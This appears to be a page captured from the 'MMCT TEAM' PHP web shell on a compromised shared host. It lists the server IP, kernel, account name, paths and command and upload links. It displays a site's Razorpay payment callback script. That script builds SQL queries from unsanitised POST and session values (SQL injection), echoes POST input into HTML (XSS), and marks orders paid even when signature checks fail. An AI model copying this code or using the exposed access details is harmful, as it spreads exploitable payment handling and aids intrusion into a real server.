MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/agriba/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/success.php
<?php 
require 'includes/db-conn.inc.php';

$orderID = $_SESSION['rand'];
require('razorpay/config.php');
require('razorpay/razorpay-php/Razorpay.php');

use Razorpay\Api\Api;
use Razorpay\Api\Errors\SignatureVerificationError;


$success = true;

$error = "Payment Failed";

if (empty($_POST['razorpay_payment_id']) === false)
{
    $api = new Api($keyId, $keySecret);

    try
    {
        // Please note that the razorpay order ID must
        // come from a trusted source (session here, but
        // could be database or something else)
        $attributes = array(
            'razorpay_order_id' => $_SESSION['razorpay_order_id'],
            'razorpay_payment_id' => $_POST['razorpay_payment_id'],
            'razorpay_signature' => $_POST['razorpay_signature']
        );

        $api->utility->verifyPaymentSignature($attributes);
    }
    catch(SignatureVerificationError $e)
    {
        $success = false;
        $error = 'Razorpay Error : ' . $e->getMessage();
    }
}

if ($success === true)
{
  
  $razorID = $_POST['razorpay_payment_id'];
  $sqladd = mysqli_query($conn,"update order_master set onlinepaymentstatus='1',
            payment='$razorID'
            where detailsorder_id = '$orderID'") or 
            die(mysqli_error($conn));
            if(mysqli_affected_rows($conn) > 0){
           $query=mysqli_query($conn,"update tbl_order set cart_status='1' where order_id='$orderID'"); 
           //stock update 
                  $sqlstock=mysqli_query($conn,"select * from tbl_order_details where order_id='$orderID'") or die(mysqli_query($conn));
                    while($datastock=mysqli_fetch_assoc($sqlstock))
                        {
                                 $stockproductid = $datastock['product_id'] ;
                                 $stockqty = $datastock['quanitity'];
                                 $stocksize = $datastock['size'] ;
                          
                               $sqlstockselect=mysqli_query($conn,"select * from tbl_product_price where productId='$stockproductid' and punit='$stocksize'") or die(mysqli_query($conn)); 
                             
                             $datastockorignal=mysqli_fetch_assoc($sqlstockselect);
                              $stockorignal_qty =$datastockorignal['pqty'];
                              $update_stock=$stockorignal_qty-$stockqty;

                            $query=mysqli_query($conn,"update tbl_product_price set pqty='$update_stock' where productId='$stockproductid' and punit='$stocksize'");

                       }
          // stock update close 
                
            
             unset($_SESSION['rand']);
              $html = "<p>Your payment was successful</p>
             <p>Payment ID: {$_POST['razorpay_payment_id']}</p>"; 
            //  echo "<script>location.href='myorder.php';</script>";
            // echo "<script>location.href='online-order-confirmation.php?detailid=$orderID';</script>";
              echo "<script>location.href='thank-you.php';</script>";
            }
               
}
else
{
  
  $razorID = $_POST['razorpay_payment_id'];
$sqladd = mysqli_query($conn,"update order_master set onlinepaymentstatus='2',payment='$razorID',comment='$error' where detailsorder_id= '$orderID'") or 
            die(mysqli_error($conn));
            if(mysqli_affected_rows($conn) > 0){
                $html = "<p>Your payment was successful</p>
             <p>Payment ID: {$_POST['razorpay_payment_id']}</p>"; 
            $query=mysqli_query($conn,"update tbl_order set cart_status='1' where order_id='$orderID'"); 
             unset($_SESSION['rand']);
            }
            $html = "<p>Your payment failed</p>
             <p>{$error}</p>";
             
             echo '<h3>'.$html.'</h3>';
            
}


 ?>
  



MMCT - 2023